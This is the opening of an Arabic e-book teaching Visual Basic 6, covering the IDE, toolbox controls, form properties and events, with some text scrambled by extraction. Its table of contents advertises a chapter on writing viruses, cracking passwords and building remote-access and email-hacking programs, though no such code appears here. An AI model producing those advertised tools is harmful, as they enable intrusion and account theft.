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  م ٢٠٠٩اسرع طريق لتعلم لغة الفيجوال بيسك 
  

  مقدمة
  

 وبعـد  )ص(محمـد  بسم االله والصلاة والسلام علي اشـرف خلـق االله           
هـل تريـد ان تـصنع       .. اخي المسلم هل تريد ان تتعلم لغة الفيجوال بيـسك         

 االله تصنع برنامج متكامـل مـن        برنامج متكامل فهذا الكتاب سيجعلك ان شاء      
ايهـاب الـذي جمعتـه      / هذا الكتاب الرائـع مـن مجهـود الاخ        الالف الي الياء ،،     

   .في آتيب واحد جزاه االله عنا آل خير فهو آتاب جميل جدا ومختصر
  

  

  عزالدين حسن احمداخوآم 

ezonet@hotmail.com 

a@ßíŠ@‡á«@a@ýg@a@ý@
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    ية مع الفيجوال بيسيكالبدا
 فتح برنامج الفيجوال بيسيك

 واجهة الفيجوال بيسيك
 عناصر شريط الادوات
 قوائم الفيجوال بيسيك

 شرح اول الكود
 مصطلحات هامة

  ٢التعامل مع الفورم  
  Formsالنماذج 

  فتح و اظهار النموذج
 خصائص الفورم

 الاحداث الرئيسية للفورم
 تغيير حجم الفورم

  اسوحدات القي
  ٣التعامل مع ادوات التحكم 

 ما هي ادوات التحكم؟
 التعامل مع ادوات التحكم

  تحرير ادوات التحكم
 استخدام بعض الادوات

    PictureBoxالاداه
   CheckBoxالاداه 
 OptionButtonالاداه 

 ListBox و ComboBoxالادتين 
  ScrollBarsالادتين 

  DriveListBox | DirListBox FileListBox |ادوات المسارات 
 Imageاداه الصورة 

   OLEObjectالاداه 
  RichText Boxالاداه 
   CommonDialogالاداه 

  MSFlexGride اداه الجدول المرن
  اداه الجدول المرن

  التحكم في سلوك الجدول
  اهم احداث الاداه

 التحكم في مظهر الاداه 
  ٤القوائم في الفيجوال بيسيك  

  يسيكانشاء القوائم في الفيجوال ب
  انشاء قائمة بالكود
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  فتح قائمة منسدلة من ليبل او شكل
 وضع صورة بجانب القائمة

  ٥بعض القواعد الهامة في فيجوال بيسيك 
  If..Thenقاعدة 
 Select Caseقاعدة 
 For..Nextقاعدة 

 While..Weالقاعدة 
 Do..Loopقاعدة 

  ٦تعلم برمجة الالعاب 
  الحرآة
  الجدران

  استخدام لوحة المفاتيح
  لعبة سباق السيارات

  الفكرة و الكائنات
  الكود

  ٧المتغيرات و الترآيبات و المصفوفات  
  المتغيرات              

  الترآيبات
 Enumترآيبات 
 UDTترآيبات 

  ٨التعامل مع الملفات و المجلدات 
 انشاء و مسح المجلدات

 نقل الملفات
 مسح الملفات

 البحث عن ملفات
 خصائص اخري
 فتح البرامج

  ٩خطاء و تفاديها الا
 الاخطاء و انواعها
  الاخطاء و تفاديها

  ١٠عمل العمليات الحسابية و معالجة السلاسل النصية 
  السلاسل الحرفية
 تغيير حالة الاحرف

  دوال النصية
  التعامل مع التاريخ
  عمليات منطقية
 دوال حسابية

 انشاء اله حاسبة بسيطة
   وضع الكائنات

  الفكرة و الكود 
  موزمعرفة الر 
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  انشاء برنامج السلعة و التاريخ
  الكائنات
  الكود

  ١١انشاء برنامج رسوم 
  الفكرة
 الكود

 انواع الرسوم المختلفة
 اهم احداث الفورم الخاصة بالرسوم

 ١٢استخدام الاجرائات و الدوال 
  تحديد مجال الاجرائات و الدوال

 اعادة استخدام الاجرائات و الدوال  
 الاجرائات 

   اتما هي الاجرائ
  انشاء الاجرائات الفرعية و استخدامها 

  تمرير البيانات من و الي الاجراء
  انهاء الاجراء

  الدوال
  ما هي الدوال
  انشاء الدوال

 APIدوال 
  ١٣قواعد البيانات 
 اقسام المشروع

 انشاء قاعدة بيانات
  ربط قاعدة بيانات بالفيجوال

 DataControlالخصائص المهمة لاداه 
    ليبناء السجلات الا

 DBGrideالاداه 
 DataControlمجموعة مهام للاداه  

     اوامر التنقل
  الحذف و الاضافة و التحديث  

  البحث داخل قاعدة بيانات             
  فحص حالات معينة

  ١٤انشاء حافظة الشاشة 
 اهمية حافظة الشاشة

 بناء البرنامج
  اخر خطوة

  ١٥ مع الفيجوال بيسيك ٧استخدام داسرآت اآس 
  عريف دايرآت اآست

 DirectDrawالكائن 
   ما هو دايرآت درو؟

  انشاء آائن دايرآت درو
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  السطح الرئيسي و السطح الخفي
  الرسم علي السطح الخفي
  الكتابة علي السطح الخفي

  رسم السطوح علي السطح الخفي
  المستطيل

  نظام العرض        
  طبيقات علي دايرآت درو

   التطبيق الاول
  التطبيق الثاني
  التطبيق الثالث

 DirectInputآائن 
  آائن دايرآت انبت

  لوحة المفاتيح
 الفأرة

 ١٦ ActiveXانشاء ادوات 
 انشاء الاداه

 مثال علي اداه
  احداث الاداه 

 ١٧ Classesاستخدام الاصناف  
  انشاء الاصناف في فيجوال بيسيك

 اهم الاحداث
 انشاء الخصائص

 Methodsالوظائف 
  اضافة الاحداث

  الاحداثاستخدام 
 التخلص من الحدث

  ١٨الانترنت 
 ما هو الانترنت

 آيف تعمل شبكة الانترنت
  احتياجات اي جهاز ليكون خادم انترنت

 انشاء صفحات الويب
     برمجةالويب

 VBScriptلغة 
   VBScriptلغة 
  مثال

  ملاحظات هامة
   HTMLانشاء الكائنات بكود 

  Dynamic HTMLصفحات الويب الديناميكية  
   DHTMLما هي

 DHTMLمحتويات صفحة 
 DHTMLمثال علي 
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  DHTMLنشر صفحات 
  ١٩صناعة الفيروسات و برامج الاختراق 

  الفيروسات
 امثلة علي الفيروسات  

  الفيروس الاول
    الفيروس الثاني
 برامج الاختراق

  اختراق آلمة سر لقاعدة بيانات
  معرفة آلمة سر علي شكل نجوم

  برنامج اختراق الحاسب
 مقدمة
   د من ان النفد مفتوحالتأآ

Client  
  الكائنات

  آتابة الكود
Server  

  الاآواد الجزء الاول
 الاآواد الجزء الثاني

  برنامج اختراق البريد
  الفكرة و وضع الكائنات

  الكود       
  ٢٠ملاحظات هامة 
 اغلاق برنامجك

 آل شئ عن الرسائل
  صناديق الادخال

 ToolTipTextالخاصية 
    ClipBoardآائن 
 With الامر

  Appالامر 
 Shell32الكائن 

  تحسين واجهتك بالخطوط
  عمل ستب لبرنامجك
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  ؟؟ الفجوال بيسيك لغةماهي .١
 

الفجوال بيسيك هي لغة برمجة من اهم لغات الحاسـب وآـان اسـمها أولا               
   اختصار لكلمةBASIC آلمة بيسيك ، ثم طورت لتصبح فجوال بيسيك و

Symbolic Instruction Code  Beginners All-purpose ،هـي لغـة مرئيـة    و 
فواجهة الفيجوال بيسيك آما تري مثل اي واجهة برنامج اخر          ، سهلة التعلم 

   الخ..مثل فلاش او ثري دي ستوديو ماآس
  

 
  

 
 ..:نبذة تاريخية عن الفجوال بيسيك

ة أصــل لغــة فجــوال بيــسيك هــى لغــة بيــسيك التــي ظهــرت فــي آلي ــ   .٢
ــاوث  ــام     Dartmouthدارتم ــز ع ــاس آيرت ــي و توم ــون آيمن ــد ج ــي ي  عل

  .. و قد أصبحت بسرعة فائقة من أشهر و أسهل لغات، م١٩٦٣

  فتح البرنامج

 : بهذه الطريقةStartيمكنك فتح البرنامج من قائمة 

Start > Programmes > Microsoft Visual Studio 6.0 > Microsoft Visual Basic 6.0 
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 واجهة الفيجوال بيسيك

 

  :الفورم •

وآـذلك سـتكون هـي    ...  الفورم ستكون هي النافذة الأساسية لمشروعك
 لـذا   ، الصندوق الذي يحتوي على آل الكائنات الأخرى التي تضيفها للفـورم          

و هـذه هـي نافـذة       ، عفيمكن أن نعتبر الفورم هي أهـم آـائن فـي المـشرو            
  :الفورم

  

وهي آما ترى عبارة عن شكل رباعي قائم الزوايا يحتوي في الأعلى على             
ويحتـوي علـى    ...  وبجواره أيقونة الفورم     Form1شريط العنوان المكتوب فيه     

   …Twip ١٢٠عدد من النقاط الفرق بين آل نقطة وأخرى 
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 بعـدد مـن     بالضغط بالزر الأيمن مـن المـاوس علـى الفـورم تظهـر لـك قائمـة                
 ...الإمكانيات التي تقدمها لك الفورم مثل 

View Code  :فــي هــذه النافــذة ...  الأمــر يقــوم بإظهــار نافــذة الكــود  هــذا
  .تستطيع آتابة الكود الخاص بالفورم

 Menu Editor :  النافـذة   يوه ـ... هذا الأمر يقوم بإظهار نافذة محرر القـوائم
 .كساعدك في إضافة قوائم إلى مشروعتي تال

 Lock Controls :  هــذا الأمــر يجعــل جميــع الأداوت فــي الفــورم غيــر قابلــة
 ...الأدواتوذلك إذا آنت قد وضعت الوضع النهائي لهذه ... للتحريك 

Paste :وهذا للصق شئ علي الفورم. 

Properties : الخصائصيقوم هذا الأمر بنقلك إلى نافذة.  

 :شريط الادوات •

ت من الكائنات أو النوافذ الرئيـسية فـي بيئـة           يمكن أن نقول أن شريط الأدوا     
تـوي علـى آـل    ح وهو الـشريط الـذي ي  Microsoft Visual Basic 6.0التطوير 

 أو PictureBoxالأدوات التــي يمكــن أن تــضيفها للفــورم مــن صــندوق صــورة  
 أو غيــر Label أو صــندوق عنــوان TextBox أو صــندوق نــص Timerميقــاتي 

  ..ذلك

  

و يمكن اضافة ادوات اخري لهذا الشريط بالضغط عليه بالزر الايمـن و اختيـار               
  : ستظهر لك هذه الشاشةComponentsالامر 
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و اذا اردت ادخـال  ، OK ثـم  Applyفقم باختيار الاداه التي تريـدها ثـم اضـغط           
  .. ثم اختر الاداهBrowse فقم باختيار DLL او ActiveXادوات    

 :نافذة الفورمات •

 

الأول  ...  و احيانا اآثـر     وهي آما ترى تحوي آائنان     الفورماتهذه هي نافذة    
 وهو الفهرس الذي يحتوي علـى       Forms واسمه   Directoryهو آائن فهرس    

 اخـر   Directoryو من الممكـن وجـود   ، آل الفورم التي ستضيفها للمشروع
  الخ ...Class Module او  Moduleعند اضافه 

  ... Form1 واسمه Formوالكائن الآخر هو آائن من نوع فورم 

 القـدرة علـى عـدد مـن الأشـياء التـي تراهـا بمجـرد                 نافذة الفورمات منحك  ت
ضغطك بالزر الأيمن بالماوس على أي آـائن مـن الكائنـات فـي مستكـشف              

  ..المشروع مثل الحفظ والإلغاء وغير ذلك

 :فذة الخصائصنا •

هذه النافذة تحتوي علـى خـصائص جميـع الكائنـات والأدوات التـي تـضيفها                
الخاصـة بكـل اداه   تختلف الخاصائص و  ،فيها خصائص الفورمبما ، لمشروعك
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وهذه هـي   ، عن الاخري ماعدا بعض الخصائص المشترآة بين بعض الادوات        
  :نافذة الخصائص

  

... وقيمتها في اليمـين     ... على الخاصية في اليسار     وهي آما ترى تحتوي     
  ... وهكذا Form1 تجد أن قيمتها Captionفمثلا الخاصية 

لنافذة تلاحظ أن الخصائص فيها مرتبة تبعا للترتيب الأبجدي من          شكل ا ومن  
و يمكـن   Name أعلى لأسـفل فيمـا عـدا الإسـتثناء الوحيـد وهـي الخاصـية         

 Alphabetic بجانـب   Categorizedغط علـي  ترتيبها خصائصيا عن طريق الض
ومن الملاحظ أن آل آائن في البرنامج يحتوي على مجموعة من الخصائص            
التــي تختلــف مــن آــائن لآخــر وآــذلك عــدد مــن الخــصائص المــشترآة بــين 

ــات  ــك الخاصــية   ... الكائن ــات تمتل ــل الكائن ــثلا آ ــك لأن هــذه  Nameفم  وذل
   ..بيسيكل الخاصية من الخواص اللازمة في الفيجو

  تعناصر شريط الأدوا

 وهي تعيـد مؤشـر المـاوس إلـى الـسهم            Pointer  هي أداة :  الأداة الأولى 
الطبيعي إذا آان المؤشر على احدى الأداوت أو الأشكال الأخرى غير الوجه            

  .الطبيعي

... امج   وهي أداة تتيح لك إضافة صورة إلى البرن ـ        PictureBox:  الأداة الثانية 

   .وادماج هذه الصورة إلى البرنامج

أو ...  وهي أداة تتـيح لـك إضـافة عنـوان إلـى البرنـامج             Label : الأداة الثالثة 
  ... نص في أي مكان من الفورم 
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 وهـي أداة تتـيح لـك أن تتـرك للمـستخدم فرصـة       Text Box : الأداة الرابعـة 

  …اوإدخال بيانات مثل اسمه 

 إطــار وتــضمين Frame وهــي أداة تتــيح لــك صــنع Frame : الأداة الخامــسة
   .بعض الأدوات بداخل هذا الإطار

 وهي أداة زر أمر حيـث تتـيح لـك أن     Command Button : الأداة السادسة

   .تجعل للمستخدم زرا ليضغط عليه عند تنفيذ أمر معين

وتتـيح للمـستخدم   ...  وهي أداة نقطـة إختبـار   Check Box:  الأداة السابعة
  . التي تضعها في البرنامجOptionsاستخدام خيارات 

وفيهـا يمكنـك أن   ...  وهي أداة نقطة اختيـار  Option Button : الأداة الثامنة
   .تختار اختيارا ما من عدة إختيارات

مـة منـسدلة مثـل     وهي أداة تضيف إليهـا قائ Compo box : الأداة التاسعة 
 ليختار المستخدم منها إحدى القيم

 تــشبه القائمــة الــسابقة  List وهــي أداة قائمــة ListBox : الأداة العاشــرة 

   .ولكن مع الفارق أن هذه الأداة ليست منسدلة

...  وهــي أداة شــريط الإنــزلاق العرضــي HScrolBar : الأداة الحاديــة عــشر 
  .ق الصور والكائنات الأآبر من اللازم عرضياوتستخدم في إنزلا

 وهـي أداة تـشبه الـسابقة ولكـن شـريط            VScrollBar : الأداة الثانية عـشر    
   .انزلاق طولي وليس عرضي

 وهي أداة الميقاتي ووظيفتهـا أنهـا تقـوم بـآداء            Timer : الأداة الثالثة عشر   
   .ين تحددهعمل معين أو عدة اعمال معينة بصفة دورية آلما مر زمن مع

ــشر   ــة ع ــن  DriveListBox : الأداة الرابع ــارة ع ــه ListBox وهــي أداة عب  في
   .أقسام القرص الصلب وقسمي القرص المرن والسي دي

تقــوم  ListBox وهــي عبــارة عــن أداة dirListBox : الأداة الخامــسة عــشر 

   . في مسار معين تحدده أنتFoldersبعرض المجلدات 

 تقـوم   Listbox وهـي عبـارة عـن أداة         FileListbox : داة السادسة عـشر   الأ 
  . في مسار معينFilesبعرض الملفات 

   . وهي عبارة عن اداة رسم شكلShape : الأداة السابعة عشر 

   . وهي أداة رسم خط على الفورمLine:  الأداة الثامنة عشر
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ــشر   ــورة وت  Image : الأداة التاســعة ع ــافة ص ــض   وهــي أداة إض ــف بع ختل
  . Pictureboxالإختلافات عن الأداة 

 وهي أداة تستخدم في ربط البرنامج بقاعـدة بيانـات           data :الأداة العشرون  
   .خارجية

 وهــي أداة ربــط وتــضمين ملفــات وبــرامج  OLE : الأداة الحاديــة والعــشرون 

  .خارجية ضمن برنامجك

صندوق الادوات لـذا عليـك اضـافتها        معظم هذه الادوات ليست موجودة في       
   ..بنفسك

  قوائم الفيجوال بيسيك

  :و هم آالتالي،  قائمة١٣يحتوي الفيجوال بيسيك علي 

، مثل فتح و حفـظ مـشروح  ، تحتوي علي اوامر اساسية   : Fileالقائمة   •
 الخ.. Exeو تحويل البرنامج الي امتداد ، و فتح مشروع جديد

تحتوي علي اوامر التحريـر العاديـة بالاضـافة الـي اوامـر       : Edit القائمة •

  ..اخري

تعمل محتويات هذه القائمة علي اظهار بعض الاشـياء         : View القائمة •
 الخ...مثل صفحة آود و فورم و صندوق الادوات

تحتوي هـذه القائمـة علـي اوامـر خاصـة بمحتويـات            : Projectالقائمة   •

  .. او غيرهاClassModule او Moduleضافة المشروع مثل ا

مثلا وضـع زر    ، بهذه القائمة يمكنك تنسيق برنامجك    : Formatالقائمة   •
، في منتصف الشاشة تماما او محاذاته الي اليمين او اليسار او غيره           

 الذي يمكنك من عدم السماح بتحريك       LockControlsو بها ايضا الامر     
 ...و يمكنك ازالته بالضغط عليه مرة اخري، م اي آائناو تغغير حج

و ، تحتوي هذه القائمة علي معظـم اوامـر التـشغيل         : Debugالقائمة   •
ــامج  مثــل تنفيــذ ســطر واحــد منــه  ، منهــا اختيــار طريقــة تنفيــذ البرن

StepInto ، او تنفيــذه آلــهStepOver ، او الامــر الــسابقStepOut ، او
، RunToCursorعليه مؤشـر الكتابـة      التنفيذ حتي السطر الذي يوجد      

فعنــد ،  التــي تظهــر بــاللون الاحمــر عنــد آتابــة الكــود BreakPointsو 
 ...اختيارها يتم توقف مؤقت للبرنامج اثناء تشغيله
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ــة  • ــاف     : Runالقائم ــشغيل او ايق ــك ت ــة يمكن ــذه القائم ــلال ه ــن خ م

  ..و اعادة تشغيله، البرنامج

 ..SQLحتاج هذه القائمة الي جمل استعلام ت: Queryالقائمة  •

  ..ORACLE او SQLتحتاج هذه القائمة الي : Diagramالقائمة  •
تحتـــوي هـــذه القائمـــة علـــي اوامـــر آثيـــرة مثـــل  : Toolsالقائمـــة  •

AddProcedur                  الذي يمكنـك مـن آتابـة اجـراء جديـد و لكـن يجـب ان 
ــر      ــذا الامــ ــار هــ ــد اختيــ ــود عنــ ــفحة الكــ ــي صــ ــون فــ ــا ، تكــ امــ

ProcedureAtributes   فهــو يمكنــك تخــصيص بعــض الاشــياء للاجــراء 

 ..  و غيرهاIDالذي انشأته مثل تغيير 

تحتوي هذه القائمة علي برامج مـستقلة تـوفر         : Add-Insertالقائمة   •

  ..خدمات للبرنامج

ونـا  تنظم هـذه القائمـة صـفحة الكـود و الفـورم ليك            : Windowالقائمة   •

  ..ظاهرين مع بعضهما

تحتوي هذه القائمة علي متعليمات خاصـة ولا يمكنـك          : Helpالقائمة   •
و بها ايضا الصفحة الخاصة بنبذة عـن        ، MSDNفتحها الا اذا تم تحميل      

  .. للفجوال

  

  شرح اول الكود

  

  : نجد مكتوب الاسطر التاليةعند فتح نافذة آود لزر مثلا

Private Sub Command1_Click()   

End Sub 

 

  :لآن تعال نلاحظ ماذا تعني السطور السابقةا

 تعني أن الجزء التالي سيعمل من خلال الفورم فقـط           Privateالكلمة   •
ولكي تجعـل الإجـراء عامـا أي        ... ولن يعمل من خلال الفورم الأخرى       

   .Privateمن خلال أي جزء في البرنامج استبدل الكلمة يعمل 
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 End Sub و Sub تعنـي أن الجـزء المحـصور بـين آلمتـي      Subالكلمة  •
 .ولا يتجزأ... عبارة عن مقطع برمجي متكامل 

 تعني أن المقطع التالي هو إجراء خاص بالكـائن          Command1الكلمة   •
 . بهـذا الإسـم  ـتهمر الذي أسمي ـ وهو زر الأCommand1الذي إسمه 

 

 تعني أن هذا الإجـراء سـيتم تنفيـذه فـي حالـة الحـدث                Clickالكلمة   •
Click ومجمــوع الكلمتــين Command1_Click تعنــي أن هــذا الإجــراء 

   .Command1 فوق زر الأمرClickيعمل من خلال الحدث 

  .قد انتهى) الإجراء(المقطع  تعني أن End Subالكلمة  •
اضغط بجانب السطر من اليسار     ،  في صفحة الكود   BreakPointلوضع   •

  .. عندهBreakPointالمراد وضع 

  

 راجــع درس قــوائم الفيجــوال بيــسيك الجــزء  BreakPointلمعرفــة مــا هــي  
 الخاص

  ..Debugب 

  

 مصطلحات هامة

  

.. هذه اهم المصطلحات التي يجب معرفتها عند استخدام الفيجوال بيسيك         
  

ــالفيجوال تــم تــصميمها   : Controlsادوات  • هــي ادوات تحكــم خاصــة ب
    ...لاستخدامها بأآثر من طريقة
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هو فعل ما يقوم به الجهاز او المستخدم مثـل ضـغط زر             : Eventحدث   •
  ..و زر الفأرةمن لوحة المفاتيح ا

هي وظـائف محـددة يمكـن للكـائن ان يقـوم بهـا              : Methodsالوظائف   •
 .. فهي وظيفة خاصة بالفورم فقطMe.Hideمثل 

ــائن  • ــائن  : Objectآ ــو آ ــن    ) اداه(و ه ــة م ــه الخاص ــه مميزات ــاص ل خ
 ..خصائص و وظائف و احداث يمكن ان ينجزها

ــر مــن التعليمــات   : Procedureاجــراء  •  فــي هــي اجــراء مقطــع او اآث
و غالبــا تكــون متــصلة ، و تكتــب عــادة لغــرض معــين) الكــود(البرنــامج 

 .. Event Procedureالاجرائات الحدثية "بحدث لذا تسمي 

مثـل حجمـه و مكانـه فـي         ، هي مزايا الكـائن   : Properitiesالخصائص   •
  الخ  .. الشاشة و لونه و اسمه

 Formsالنماذج 
 
آالعنـاوين  ، ئن يعمـل آمكتـب للكائنـات الأخـرى        النموذج عبارة عن آا    •

ومربعات النص ومربعات الرسم التى تتكون منها فـي النهايـة واجهـة             
  . المستخدم

  
يحتوى النموذج على آل العناصر التى توجد في نوافذ البرنـامج حـال              •

فهي تحتوي على شريط عنوان وقائمة التحكم وعـدة أزرار          . تشغيله  
  ).. تكبير، تصغير، اغلاق( حكم للت
 

 Grid تظهر أرضية النموذج اثناء التصميم  علـى هيئـة شـبكة نقطيـة     •
  . التى تسمح لك بمحاذاة العناصر على النموذج 

  

  فتح و اظهار نموذج اخر

 :فتح نموذج اخر: اولا

 ..Add > Formي نافذة الفورمات ثم اختر اضغط بالزر الايمن عل •
 ..AddForm ثم Projectاضغط  •

  :اذا استخدمت ايا من الحالتين سيظهر لك الصندوق التالي
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  :ولكن علينا معرفة باقي هذه الاشياء، عادة ما نستخدم الفورم العادية

• Form :هذه هي الفورم العادية الخالية.. 
• About Dialog :ولكن مخصـصة لتكـون مثـل نبـذة     ،  هي فورم عاديةو

 ..عن للبرنامج
• Web Browser :  هــذه فــورم جــاهزة بهــا الكائنــات الخاصــة بمتــصفح

 ..الانترنت
• Dialog : هي فورم علي شكلDialog Box.. 
• Log In Dialog :فورم مخصصة لتكون باسورد للبرنامج.. 
• Splash Screen :وهي نافذة بدء البرنامج.. 
• Tip of the Day :     و هـي فـورم مخصـصة لتكـونTip of The Day ، و

 ..طريقة استخدامها مكتوبة بالفورم
• Option Dialog : فورم بهاOption Dialog اجزاء٤ مقسم الي ..  

   :النموذج) تنشيط(اظهار : ثانيا

يمكنك اظهار النموذج بالضغط علي ايقونة الفورم في نافذة الفورمات ضـغطا            
  .. مزدوجا

 بعض خصائص الفورم
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 :بعض الخصائص المهمة للفورم

  الخاصية الوظيفة
  Name متغير نصي و هو اسم الفورم
 Appearance متغير يعبر عن شكل الفورم

 فأن البرنامج يعيد رسـم      Trueاذا آانت هذه الخاصية     
  الخطوط و الاشكال اذا محت

AutoRedraw 

 BackColor لون خلفية افورم
 BorderStyle عبر هذا المتغير عن الشكل الخارجي للفورمي

أو ... هذا متغير من نوع نصي يعبر عن عنوان الفـورم           
القيمــة الظاهريــة التــي تظهــر علــى شــريط العنــوان  

 بأعلى الفورم

Caption 

يختفـي صـندوق    False = بجعـل قيمـة هـذا المتغيـر    
وهـو الـصندوق الـذي      ... التحكم بأعلى يمين الفـورم      

  حتوي على زر التكبير والتصغير والإغلاقي

ControlBox 

تكون الفورم غير فعالة  False بجعل قيمة هذا المتغير
أي أنك لن تستطيع التحكم فيها أو فـي         ... أو نشطة   

 جميع الأداوت بداخلها

Enabled 

تستخدم هذه الخاصية في تحديد نـوع وحجـم الخـط           
 الذي ستكتب به على الفورم

Font 

 ForeColor  الكتابة على الفورملون خط
 Height متغير رقمي يعبر عن قيمة ارتفاع الفورم

متغير رقمي يعبر عـن قيمـة بعـد الفـورم عـن أقـصى               
 يسار الشاشة

Left 

 MaxButton هل زر التكبير بأعلى الفورم ظاهر أم لا
 MinButton هل زر التصغير بأعلى الفورم ظاهر أم لا

 MouseIcon  الأشكال الرئيسيةشكل أيقونة الماوس من
 MousePointer تحميل أيقونة الماوس من مكان خارجي

 Movable هل سيتمكن المستخدم من تحريك الفورم أم لا
 Picture الصورة التي ستوضع آخلفية للفورم

هــل الكتابــة علــى الفــورم ســتكون مــن اليمــين إلــى 
 اليسار أم العكس

RightToLeft  

 
 ShowInTaskBar في شريط المهام بالأسفل أم لاهل الفورم ظاهرة 

ــل   ــدئ التحمي ــان ب ــصف   ... مك هــل ســيبدأ فــي منت
 الشاشة أم تخصيص مكان البدء

StartUpPositio 

قيمة بعد الفورم عن أعلى نقطة في الشاشة حيـث          
 ٠أن أعلى نقطة في الفورم تساوي 

Top 

 Visible هل الفورم ظاهرة أم مخفية
 Width الفورم قيمة عرض

 Window Stateتكبير الفورم إلى حجـم الـشاشة أو تـصغيرها لتكـون            
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 في التاسك بار أو جعلها في وضع طبيعي

    .معظم هذه الخصائص موجودة بكائنات اخري و لها نفس الوظيفة ايضا

  :يمكن التحكم بأي من هذه الخصائص عن طريق الاآواد بالطريقة التالية

Object.Property = Style 

و ،  هـي اسـم الخاصـية    Propertyو ،  هـي اسـم الكـائن    Objectحيـث ان 

Style هي حالة الخاصية..  

  التعامل مع الاحداث الرئيسية للفورم

هناك خمسة أحداث رئيسية بالنسبة للنموذج يمكن التعامـل معهـا بكتابـة             
  :اجراء حدثي معين وهي

Load :ميل النموذج في الذاآرةيحدث بعد تح ..  
Activate  :    ــدما يتحــول يحــدث عنــد أول ظهــور للنمــوذج ثــم بعــد ذلــك عن

   . المستخدم إلى النافذة لتنشيطها

:Deactivateيحدث عند تنشيط  نموذج آخر من نفس البرنامج . 

 :Unloadيحدث قبل افراغ  الذاآرة من النافذة .   
 :Initialize             يقع مرة واحدة فقط لكل نموذج حتى إذا تم افراغ الذاآرة منه ثم

 .اعادة تحميله لأنه يقع عند تسجيل بيانات النافذة آصنف جديد من النوافذ

 تغيير حجم الفورم
  :يمكن تغيير حجم الفورم بأآثر من طريقة

  
ط عليهـا ثـم اسـحب ليـتم     اضـغ ، التكبيـر و التـصغير   عن طريق امـاآن  •

 ..تكبيرها آما تريد ثم حرر زر الفأرة
  



ezonet@hotmail.com 20

  
 
 ..Width و  Heightعن طريق الخاصية  •
  
 عـن طريـق    Height و   Widthعن طريـق الكـود اي بتغييـر الخاصـيتين            •

 ..الكود
  

  وحدات القياس في فيجوال بيسيك
و هي من افـضل     ، Twipجوال بيسيك هي    وحدة القياس الرئيسية في الفي    
  ..وحدات القياس لانها دقيقة جدا

  
 في خصائص الفورم    ScaleModeو يمكنك تغيير وحدة قياس بتغيير الخاصية        
  :الي اي وحدة قياس تريدها و هم آالاتي

  
• User.. 
• Twip.. 
• Point.. 
• Pixel.. 
• Character.. 
• Inch.. 
• Millimeter.. 
• Centimeter..  

  لتحكمما هي ادوات ا

ادوات التحكم هـي آائنـات معـدة لوظـائف خاصـته ولهـا مجموعـة خـصائص                  
 ووظائف وأحداث تمامًا آالنوافذ

بفئة اساسية من أدوات التحكم وتجتمع هـذه الأدوات    Visual Basic6 يأتي
 . داخل مربع واحد يسمي مربع الأدوات وتظل  أمامك  فترة تصميم البرامج

وعة  مـن الخـصائص بينمـا تتميـز آـل اداة             تشترك معظم  الأدوات  في مجم      



ezonet@hotmail.com 21

بمجموعة من الخصائص التى ترشحها للقيام بوظيفة معينة داخـل الواجهـة            
 ...حيث انها الانسب في الاستعمال

 التعامل مع ادوات التحكم
  :النموذج الي تحكم اداه اضافة

أول خطوات استخدام الأدوات هي اضافتها إلى النموذج ويتم ذلك إما بالنقر            
ى الأداة في مربـع الأدوات ثـم رسـمها علـى النمـوذج أو بـالنقر المـزدوج             عل

  .على الاداة لترسم عنصر بحجم افتراضي في  وسط النموذج 

 :الأداة اختيار
قبل اجراء أي عملية من عمليات نقل أو تحجيم الأدوات أو نـسخها أو نقلهـا                 

 .  المطلوبةأو حذفها يجب اختيار الأداة أو الأدوات  ثم اجراء العملية
 . اختيار الأداة يعني تحديدها  أو تنشيطها بحيث تتأثر بالحدث  الذي سيتم

الواجهة وجه إليها  مؤشر الفأرة ثـم   لاختيار  أو تنشيط أداة بعد وضعها على
انقر زر الفأرة سـتظهر ثمانيـة مربعـات حـول الأداة لتـدل علـى اختيارهـا  أو                    

 . تنشيطها
أآثــر مــن أداة اختــر الأدوات آلهــا قبــل تنفيــذ  إذا أردت تنفيــذ عمليــة علــى 
 . العملية ويتم ذلك بطريقتين

إذا آانت الأدوات متجاورة فيمكنـك اختيارهـا  جميعًـا عـن طريـق النقـر فـي                   
مكان فارغ على النافذة  ثم سحب المؤشر اثنـاء الـسحب يظهـر مـستطيل                 

سـيتم  منقط ليوضح لك الأدوات التـى سـتختارها وبمجـرد اطـلاق زر الفـأرة                
 . اختيار آل الأدوات التى طوقتها اثناء السحب

واســتمر  Shift إذا آانــت الأدوات متباعــدة انقــر أول اداة ثــم اضــغط مفتــاح 
ضاغطًا  اثناء نقر باقي الأدوات  ، بعد الانتهاء مـن اختيـار  الأدوات ارفـع يـدك         

  ..Shift على مفتاح

 :الأدوات نقل
قـر الأداة ثـم اسـحبها  إلـى المكـان            لنقل أداة من مكانها إلـى مكـان آخـر ان          

الجديــد اثنــاء الــسحب ســيتحرك مــستطيل فــارغ بــنفس حجــم الاداة آلمــا 
حرآــت المؤشــر ، عنــدما تحــدد المكــان المناســب ارفــع يــدك مــن علــى زر  

  .ستنتقل الاداة إلى الموقع الجديد . الماوس 

 :الأداة حجم تغيير
  :لتغيير حجم الأداة اتبع الآتي

 .نشيطهاانقر الأداة لت
انقل المؤشر إلى أحـد مقـابض التحجـيم الموجـودة علـى اضـلاع أو جوانـب                
المــستطيل الــذى يحــيط بــالاداة ، ســيتغير شــكل المؤشــر  إلــى ســهم ذو 

 . رأسين
اســحب المقــابض بالــضغط علــى زر الفــأرة الأيــسر ولاحــظ تغيــر حجــم         

زر المستطيل  مع حرآة الفأرة  وعندما تحصل على الحجم  المطلوب  اترك               
  .الفأرة 
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  تحرير الادوات

  ...Copy ثم Editاو افتح قائمة ، Control + Cاضغط مفتاحي : النسخ

  ...Cut ثم Editاو افتح قائمة ، Control + Xاضغط مفتاحي : القص

  ...Paste ثم Editاو افتح قائمة ، Control + Vاضغط مفتاحي : القص

  ...Delete ثم Editاو افتح قائمة ، Deleteاضغط مفتاح : حذف الاداه

  PictureBoxأداة الصورة

ومعالجـة هـذه    ... هذه الأداة تتيح لك اضافة الـصور إلـى تطبيقاتـك الخاصـة              
  الصور وتحريكها 

  :خصائص هذه الأداة

ــصائص ــن الخـ ــي مـ ــم وهـ ــية الإسـ خاصـ
 Name لدينا المعروفة

اليـسار وضع الصورة هل تكون في يمين الإطار أم
 Align ...أم 

 Appearance هورطريقة الظ
 AutoRedraw التلقائي إعادة الرسم

 AutoSizeالموضوعة فيه تحجيم الإطار تلقائيا بحجم الصورة
 BackColor اللون الخلفي للإطار

 BorderStyle للإطار تحديد الشكل الخارجي
 Enabled لا هل الصورة فعالة أم
 Height خاصية ارتفاع الإطار

 Left الفورم قصى يسارخاصية بعد الإطار عن أ
